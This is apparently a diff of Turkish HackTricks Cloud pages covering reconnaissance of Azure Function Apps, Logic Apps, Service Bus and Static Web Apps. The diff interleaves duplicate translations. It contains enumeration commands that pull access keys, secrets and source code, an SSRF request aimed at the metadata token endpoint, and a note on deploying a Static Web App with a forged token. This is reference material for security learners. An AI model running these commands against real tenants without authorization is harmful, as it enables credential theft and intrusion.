Ayrıca, bir **Managed Identity** de oluşturulur, böylece depodaki Github Action Azure'a bu kimlik ile giriş yapabilir. Bu, **Managed Identity** üzerinde bir Federated kimlik bilgisi oluşturarak, **Issuer** `https://token.actions.githubusercontent.com` ve **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` izin vererek yapılır.
Ayrıca, bir **Managed Identity** oluşturulur, böylece depodaki Github Action Azure'a bu kimlik ile giriş yapabilir. Bu, **Managed Identity** üzerinde bir Federated kimlik bilgisi oluşturarak yapılır ve **Issuer** `https://token.actions.githubusercontent.com` ile **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` belirlenir.
> [!CAUTION]
> Bu nedenle, o depoyu ele geçiren herkes, işlevi ve ona bağlı Managed Identities'i ele geçirebilecektir.
> Bu nedenle, o depoyu ele geçiren herkes, işlevi ve ona bağlı Managed Identities'i ele geçirebilir.
### Konteyner Tabanlı Dağıtımlar
Tüm planlar konteyner dağıtımına izin vermez, ancak izin verenler için yapılandırma konteynerin URL'sini içerecektir. API'de **`linuxFxVersion`** ayarı şöyle bir şey olacaktır: `DOCKER|mcr.microsoft.com/...`, web konsolunda ise yapılandırma **image settings** olarak gösterilecektir.
Ayrıca, **fonksiyonla ilgili depolama** hesabında hiçbir kaynak kodu saklanmayacaktır, çünkü bu gerekli değildir.
Ayrıca, **fonksiyonla ilgili depolama** hesabında kaynak kodu saklanmayacaktır çünkü bu gerekli değildir.
## Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List all the functions
az functionapp list
@@ -249,6 +253,30 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.Functions
# Lists all Function Apps in the current subscription or in a specific resource group.
Get-AzFunctionApp -ResourceGroupName <String>
# Displays the regions where Azure Function Apps are available for deployment.
Get-AzFunctionAppAvailableLocation
# Retrieves details about Azure Function App plans in a subscription or resource group.
Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
# Retrieves the app settings for a specific Azure Function App.
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Yetki Yükseltme
{{#ref}}

View File

@@ -23,41 +23,267 @@ veya "**Logic app kod görünümü**" bölümünde kodu kontrol edebilirsiniz.
### SSRF Koruması
**Logic App'in SSRF'ye karşı savunmasız olduğunu bulsanız bile**, metadata'dan kimlik bilgilerine erişemezsiniz çünkü Logic Apps bunu izin vermez.
**Logic App'in SSRF'ye karşı savunmasız olduğunu bulsanız bile**, Logic Apps bunu izin vermediği için metadata'dan kimlik bilgilerine erişemezsiniz.
Örneğin, şöyle bir şey token döndürmeyecektir:
Örneğin, bu gibi bir şey token'ı döndürmeyecektir:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Hosting options
Birçok barındırma seçeneği vardır:
* **Consumption**
- **Multi-tenant**: paylaşılan hesaplama kaynakları sağlar, kamu bulutunda çalışır ve işlem başına ödeme fiyatlandırma modelini takip eder. Bu, hafif ve maliyet etkin iş yükleri için idealdir.
* **Standard**
- **Workflow Service Plan**: ağ için VNET entegrasyonu ile özel hesaplama kaynakları ve her workflow service plan örneği için ücret alır. Daha fazla kontrol gerektiren daha talepkar iş yükleri için uygundur.
- **App Service Environment V3**: tam izolasyon ve ölçeklenebilirlik ile özel hesaplama kaynakları. Ayrıca ağ için VNET ile entegre olur ve ortam içindeki App Service örneklerine dayalı bir fiyatlandırma modeli kullanır. Bu, yüksek izolasyon gerektiren kurumsal ölçekli uygulamalar için idealdir.
- **Hybrid**: yerel işleme ve çoklu bulut desteği için tasarlanmıştır. Müşteri yönetimindeki hesaplama kaynaklarına yerel ağ erişimi sağlar ve Kubernetes Event-Driven Autoscaling (KEDA) kullanır.
### Enumeration
{{#tabs }}
{{#tab name="az cli" }}
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
# Get Logic App config
az logic workflow definition show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
# Get service ppal used
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
```
{{#endtab }}
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
{{#tab name="Az PowerSHell" }}
# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"
# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"
az rest \
--method GET \
--uri "https://examplelogicapp1994.scm.azurewebsites.net/api/functions/admin/download?includeCsproj=true&includeAppSettings=true" \
--headers "Content-Type=application/json"
# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>
# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```bash
Get-Command -Module Az.LogicApp
# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
# Get Logic App config
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Definition | ConvertTo-Json
# Get service ppal used
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
```
{{#endtab }}
{{#endtabs }}
{{#include ../../../banners/hacktricks-training.md}}
# Get details of a specific Logic App workflow run action
Get-AzLogicAppRunAction -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -RunName "<RunName>"
# Get the run history for a specific Logic App
Get-AzLogicAppRunHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
# Get details about triggers for a specific Logic App
Get-AzLogicAppTrigger -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
# Get the callback URL for a specific trigger in a Logic App
Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName "<LogicAppName>" -TriggerName "<TriggerName>"
# Get the history of a specific trigger in a Logic App
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
### Entegrasyon Hesapları
**Entegrasyon Hesapları**, Azure Logic Apps'in bir özelliğidir. Entegrasyon Hesapları, EDI, AS2 ve XML şeması yönetimi gibi gelişmiş B2B yeteneklerini etkinleştirerek kurumsal düzeyde entegrasyonları kolaylaştırmak için kullanılır. Entegrasyon Hesapları, Logic Apps için kullanılan aşağıdaki nesneleri depolayan Azure'daki bir konteynırdır:
* Şemalar: Entegrasyon hesabınızdaki mesajları doğrulamak ve işlemek için XML şemalarını yönetin.
* Haritalar: Entegrasyon iş akışlarınızda veri formatlarını dönüştürmek için XSLT tabanlı dönüşümleri yapılandırın.
* Derlemeler: Mantığı ve veri işleme süreçlerini kolaylaştırmak için entegrasyon hesabı derlemelerini yönetin.
* Sertifikalar: Mesajları şifrelemek ve imzalamak için sertifikaları yönetin, güvenli iletişimi sağlamak için.
* Ortaklar: B2B işlemleri için ticari ortak bilgilerini yönetin, kesintisiz entegrasyonları mümkün kılın.
* Anlaşmalar: Ticari ortaklarla veri alışverişi için kuralları ve ayarları yapılandırın (örneğin, EDI, AS2).
* Toplu Yapılandırmalar: Mesajları verimli bir şekilde gruplamak ve işlemek için toplu işleme yapılandırmalarını yönetin.
* RosettaNet PIP: B2B iletişimini standartlaştırmak için RosettaNet Ortak Arayüz Süreçlerini (PIP'ler) yapılandırın.
#### Sayım
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>
az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>
# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>
# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>
# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>
# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.LogicApp
# Retrieve details of an integration account
Get-AzIntegrationAccount -ResourceGroupName <resource-group-name> -Name <integration-account-name>
# Retrieve the callback URL of an integration account
Get-AzIntegrationAccountCallbackUrl -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name>
# Retrieve details of a specific agreement in an integration account
Get-AzIntegrationAccountAgreement -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <agreement-name>
# Retrieve details of a specific assembly in an integration account
Get-AzIntegrationAccountAssembly -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <assembly-name>
# Retrieve details of a specific batch configuration in an integration account
Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <batch-configuration-name>
# Retrieve details of a specific certificate in an integration account
Get-AzIntegrationAccountCertificate -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <certificate-name>
# Retrieve details of a specific map in an integration account
Get-AzIntegrationAccountMap -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <map-name>
# Retrieve details of a specific partner in an integration account
Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <partner-name>
# Retrieve details of a specific schema in an integration account
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Yetki Yükseltme
Logic apps privesc ile aynı:
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
{% endcontent-ref %}
## Post Exploitation
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View File

@@ -4,19 +4,19 @@
## Service Bus
Azure Service Bus, uygulamanın farklı parçaları veya ayrı uygulamalar arasında güvenilir **iletişim** sağlamak için tasarlanmış bulut tabanlı bir **mesajlaşma hizmetidir**. Mesajların güvenli bir şekilde iletilmesini sağlayarak, gönderici ve alıcının aynı anda çalışmadığı durumlarda bile güvenli bir aracı olarak işlev görür. Sistemleri birbirinden ayırarak, uygulamaların bağımsız bir şekilde çalışmasına olanak tanırken, veri veya talimat alışverişi yapmalarını sağlar. Özellikle birden fazla işçi arasında yük dengelemesi gerektiren senaryolar, güvenilir mesaj iletimi veya görevlerin sırayla işlenmesi ya da erişimin güvenli bir şekilde yönetilmesi gibi karmaşık koordinasyonlar için faydalıdır.
Azure Service Bus, uygulamanın farklı parçaları veya ayrı uygulamalar arasında güvenilir **iletişim** sağlamak için tasarlanmış bulut tabanlı bir **mesajlaşma hizmetidir**. Mesajların güvenli bir şekilde iletilmesini sağlamak için güvenli bir aracı olarak hareket eder; bu, gönderici ve alıcının aynı anda çalışmadığı durumlarda bile geçerlidir. Sistemleri birbirinden ayırarak, uygulamaların bağımsız bir şekilde çalışmasına olanak tanırken veri veya talimat alışverişi yapmalarını sağlar. Özellikle birden fazla işçi arasında yük dengelemesi, güvenilir mesaj iletimi veya görevlerin sırayla işlenmesi veya erişimin güvenli bir şekilde yönetilmesi gibi karmaşık koordinasyon gerektiren senaryolar için faydalıdır.
### Ana Kavramlar
### Anahtar Kavramlar
1. **Kuyruklar:** Amacı, alıcı hazır olana kadar mesajları depolamaktır.
- Mesajlar sıralı, zaman damgalı ve kalıcı olarak saklanır.
- İhtiyaç duyulduğunda (talep üzerine) teslim edilir.
- İhtiyaç duyulduğunda (isteğe bağlı alım) teslim edilir.
- Noktadan noktaya iletişimi destekler.
2. **Konu Başlıkları:** Yayın-abone mesajlaşması için yayın yapar.
2. **Konu Başlıkları:** Yayınlama-abone olma mesajlaşması için yayın yapar.
- Birden fazla bağımsız abonelik, mesajların kopyalarını alır.
- Abonelikler, teslimatı kontrol etmek veya meta veriler eklemek için kurallar/filtreler içerebilir.
- Çoktan çoğa iletişimi destekler.
3. **Ad Alanları:** Tüm mesajlaşma bileşenleri, kuyruklar ve konu başlıkları için bir konteynerdir; güçlü bir Azure kümesinin kendi diliminiz gibi, özel kapasite sağlar ve isteğe bağlı olarak üç kullanılabilirlik bölgesine yayılabilir.
3. **Ad Alanları:** Tüm mesajlaşma bileşenleri, kuyruklar ve konu başlıkları için bir konteynerdır; güçlü bir Azure kümesinin kendi diliminiz gibi, özel kapasite sağlar ve isteğe bağlı olarak üç kullanılabilirlik bölgesine yayılabilir.
### İleri Düzey Özellikler
@@ -31,7 +31,7 @@ Bazı ileri düzey özellikler şunlardır:
- **Filtreler ve Eylemler**: Mesajları filtrelemek veya not eklemek için kurallar uygular.
- **Boşta Otomatik Silme**: Faaliyet göstermediğinde kuyrukları siler (min: 5 dakika).
- **Yinelenen Tespit**: Yeniden gönderimler sırasında yinelenen mesajları kaldırır.
- **Toplu Silme**: Süresi dolmuş veya gereksiz mesajları topluca siler.
- **Toplu Silme**: Süresi dolmuş veya gereksiz mesajları toplu olarak siler.
### Yetkilendirme Kuralı / SAS Politikası
@@ -50,6 +50,10 @@ SAS Politikaları, Azure Service Bus varlıkları ad alanı (En Önemli Olan), k
sku, yetkilendirme kuralı,
### Sayım
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# Queue Enumeration
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
@@ -77,13 +81,65 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.ServiceBus
# Retrieves details of a Service Bus namespace, including V2-specific features like additional metrics or configurations.
Get-AzServiceBusNamespaceV2 -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
# Retrieves the authorization rules for a Service Bus namespace, queue, or topic.
Get-AzServiceBusAuthorizationRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves the Geo-Disaster Recovery configuration for a Service Bus namespace, if it is enabled.
Get-AzServiceBusGeoDRConfiguration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves the shared access keys for a specified authorization rule in a Service Bus namespace.
Get-AzServiceBusKey -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <RuleName>
# Retrieves the migration state and details for a Service Bus namespace, if a migration is in progress.
Get-AzServiceBusMigration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves properties and details about a Service Bus namespace.
Get-AzServiceBusNamespace -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
# Retrieves the network rule set for a Service Bus namespace, such as IP restrictions or virtual network access rules.
Get-AzServiceBusNetworkRuleSet -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves private endpoint connections for a Service Bus namespace.
Get-AzServiceBusPrivateEndpointConnection -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves private link resources associated with a Service Bus namespace.
Get-AzServiceBusPrivateLink -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves details of a specified queue in a Service Bus namespace.
Get-AzServiceBusQueue -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <QueueName>
# Retrieves rules (filters and actions) for a subscription under a Service Bus topic.
Get-AzServiceBusRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName> -SubscriptionName <SubscriptionName>
# Retrieves details of subscriptions for a specified Service Bus topic.
Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName>
# Retrieves details of a specified topic in a Service Bus namespace.
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
### Yetki Yükseltme
{{#ref}}
../az-privilege-escalation/az-servicebus-privesc.md
{{#endref}}
### Sonuçların Kullanımı
### Sonrası İstismar
{{#ref}}
../az-post-exploitation/az-servicebus-post-exploitation.md

View File

@@ -13,11 +13,11 @@ Azure Statik Web Uygulamaları, **GitHub gibi depolardan otomatik CI/CD ile stat
- **Dağıtım token'ı**: Bir token oluşturulur ve dağıtım sürecini kimlik doğrulamak için kullanılır. **Bu token'a sahip olan herkes yeni bir uygulama sürümünü dağıtmak için yeterlidir**. Her seferinde depo güncellendiğinde uygulamanın yeni bir sürümünü dağıtmak için token'ın gizli olduğu bir **Github Action otomatik olarak depoya dağıtılır**.
- **GitHub Actions iş akışı**: Bu durumda, depoda çok benzer bir Github Action da dağıtılır ve **token da gizli bir şekilde saklanır**. Ancak, bu Github Action'ın bir farkı vardır; **`actions/github-script@v6`** eylemini kullanarak depo IDToken'ını alır ve uygulamayı dağıtmak için kullanır.
- Her iki durumda da **`Azure/static-web-apps-deploy@v1`** eylemi `azure_static_web_apps_api_token` parametresinde bir token ile kullanılsa da, bu ikinci durumda `github_id_token` parametresinde IDToken ile yetkilendirme yapıldığı için `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` gibi geçerli bir formatta rastgele bir token uygulamayı dağıtmak için yeterlidir.
- Her iki durumda da **`Azure/static-web-apps-deploy@v1`** eylemi `azure_static_web_apps_api_token` parametresinde bir token ile kullanılsa da, bu ikinci durumda `github_id_token` parametresinde yetkilendirme IDToken ile yapıldığından, `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` gibi geçerli bir formatta rastgele bir token uygulamayı dağıtmak için yeterlidir.
### Web Uygulaması Temel Kimlik Doğrulaması
Web Uygulamasına erişmek için **bir şifre yapılandırmak** mümkündür. Web konsolu, yalnızca test ortamlarını veya hem test hem de üretim ortamını korumak için yapılandırılmasına izin verir.
Web Uygulamasına erişmek için **bir şifre yapılandırmak** mümkündür. Web konsolu, yalnızca sahneleme ortamlarını veya hem sahneleme hem de üretim ortamını korumak için yapılandırılmasına izin verir.
Yazma anında şifre korumalı bir web uygulamasının görünümü şöyle:
@@ -30,9 +30,9 @@ az rest --method GET \
```
Ancak, bu **şifreyi düz metin olarak göstermez**, sadece şöyle bir şey gösterir: `"password": "**********************"`.
### Rotalar & Roller
### Rotalar ve Roller
Rotalar, bir statik web uygulaması içinde **gelen HTTP isteklerinin nasıl işlendiğini tanımlar**. **`staticwebapp.config.json`** dosyasında yapılandırılan bu rotalar, URL yeniden yazma, yönlendirmeler, erişim kısıtlamaları ve rol tabanlı yetkilendirme gibi işlemleri kontrol ederek, kaynakların doğru bir şekilde işlenmesini ve güvenliğini sağlar.
Rotalar, bir statik web uygulaması içinde **gelen HTTP isteklerinin nasıl işleneceğini** tanımlar. **`staticwebapp.config.json`** dosyasında yapılandırılan bu rotalar, URL yeniden yazma, yönlendirmeler, erişim kısıtlamaları ve rol tabanlı yetkilendirme gibi işlemleri kontrol ederek, kaynakların doğru bir şekilde işlenmesini ve güvenliğini sağlar.
Bazı örnek:
```json
@@ -62,12 +62,12 @@ Bazı örnek:
}
}
```
Not edin ki bir **rol ile bir yolu korumak** mümkündür, bu durumda kullanıcıların uygulamaya kimlik doğrulaması yapması ve bu role erişim için yetkilendirilmesi gerekecektir. Ayrıca, belirli kullanıcılara EntraID, Facebook, GitHub, Google, Twitter üzerinden giriş yaparak belirli roller veren **davetiye oluşturmak** da mümkündür; bu, uygulama içinde ayrıcalıkları artırmak için faydalı olabilir.
Not edin ki bir **rol ile bir yolu korumak** mümkündür, bu durumda kullanıcıların uygulamaya kimlik doğrulaması yapması ve bu role sahip olmaları gerekecektir. Ayrıca, belirli kullanıcılara EntraID, Facebook, GitHub, Google, Twitter üzerinden giriş yaparak belirli roller veren **davetiye oluşturmak** da mümkündür; bu, uygulama içinde ayrıcalıkları artırmak için faydalı olabilir.
> [!TIP]
> Uygulamayı, **`staticwebapp.config.json`** dosyasındaki değişikliklerin kabul edilmediği şekilde yapılandırmanın mümkün olduğunu unutmayın. Bu durumda, sadece dosyayı Github'dan değiştirmek yeterli olmayabilir, ayrıca **Uygulamadaki ayarı değiştirmek** de gereklidir.
Aşama URL'si bu formatta: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` örneğin: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
Aşama URL'si şu formatta: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` örneğin: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
### Yönetilen Kimlikler
@@ -76,6 +76,10 @@ Azure Static Web Apps, **yönetilen kimlikler** kullanacak şekilde yapılandır
Daha fazla bilgi için, bir statik uygulamada bir kasanın gizli anahtarını kullanma ile ilgili Azure kılavuzunu https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets adresinde bulabilirsiniz.
## Sayım
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List Static Webapps
az staticwebapp list --output table
@@ -107,17 +111,70 @@ az rest --method POST \
# Check connected backends
az staticwebapp backends show --name <name> --resource-group <res-group>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.Websites
# Retrieves details of a specific Static Web App in the specified resource group.
Get-AzStaticWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the build details for a specific Static Web App.
Get-AzStaticWebAppBuild -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the application settings for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves functions for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildFunction -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves function app settings for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves the configured roles for a Static Web App.
Get-AzStaticWebAppConfiguredRole -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the custom domains configured for a Static Web App.
Get-AzStaticWebAppCustomDomain -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves details of the functions associated with a Static Web App.
Get-AzStaticWebAppFunction -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the app settings for the function app associated with a Static Web App.
Get-AzStaticWebAppFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the secrets for a Static Web App.
Get-AzStaticWebAppSecret -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves general app settings for a Static Web App.
Get-AzStaticWebAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves user details for a Static Web App with a specified authentication provider.
Get-AzStaticWebAppUser -ResourceGroupName <ResourceGroupName> -Name <Name> -AuthProvider <AuthProvider>
# Retrieves user-provided function apps associated with a Static Web App.
Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName> -Name <Name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Web Uygulamaları Oluşturma Örnekleri
Aşağıdaki bağlantıda bir web uygulaması oluşturmak için güzel bir örnek bulabilirsiniz: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. https://github.com/staticwebdev/react-basic/generate deposunu GitHub hesabınıza fork edin ve adını `my-first-static-web-app` olarak belirleyin.
2. Azure portalında, Github erişimini yapılandırarak ve daha önce fork edilen yeni depoyu seçerek bir Static Web App oluşturun.
2. Azure portalında, GitHub erişimini yapılandırarak ve daha önce fork ettiğiniz yeni depoyu seçerek bir Statik Web Uygulaması oluşturun.
3. Oluşturun, birkaç dakika bekleyin ve yeni sayfanızı kontrol edin!
## Yetki Yükseltme ve Sonrası Sömürü
## Yetki Yükseltme ve Sonrası İstismar
